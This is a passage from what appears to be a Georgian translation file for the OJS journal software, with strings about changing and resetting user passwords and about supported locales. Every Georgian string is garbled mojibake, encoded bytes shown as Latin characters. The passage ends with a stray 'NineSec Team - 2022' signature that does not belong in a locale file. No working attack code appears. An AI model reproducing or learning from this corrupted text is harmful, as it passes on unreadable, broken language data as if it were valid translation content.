"მáƒáƒ“ულის მიერ). თუ ეს პáƒáƒ áƒáƒ›áƒ”ტრი ჩáƒáƒ áƒ—ულიáƒ, მáƒáƒ›áƒ®áƒ›áƒáƒ áƒ”ბლებს შეუძლიáƒáƒ— შეცვáƒáƒšáƒáƒœ "
"პáƒáƒ áƒáƒšáƒ˜ OJS-ში დრგáƒáƒ›áƒáƒ˜áƒ§áƒ”ნáƒáƒœ პáƒáƒ áƒáƒšáƒ˜áƒ¡ áƒáƒ¦áƒ“გენის ფუნქცირდáƒáƒ•áƒ˜áƒ¬áƒ§áƒ”ბული პáƒáƒ áƒáƒšáƒ˜áƒ¡ "
"áƒáƒ¦áƒ¡áƒáƒ“გენáƒáƒ“. ეს ფუნქციები áƒáƒ  იქნებრმხáƒáƒ áƒ“áƒáƒ­áƒ”რილი, თუ პáƒáƒ áƒáƒ›áƒ”ტრი გáƒáƒ—იშულიáƒ."

msgid "admin.contexts.form.primaryLocaleNotSupported"
msgstr "ძირიტáƒáƒ“ი ენრუნდრიყáƒáƒ¡ ჟურნáƒáƒšáƒ˜áƒ¡ მიერ მხáƒáƒ áƒ“áƒáƒ­áƒ”რილი ერთ-ერთი ენáƒ."

NineSec Team - 2022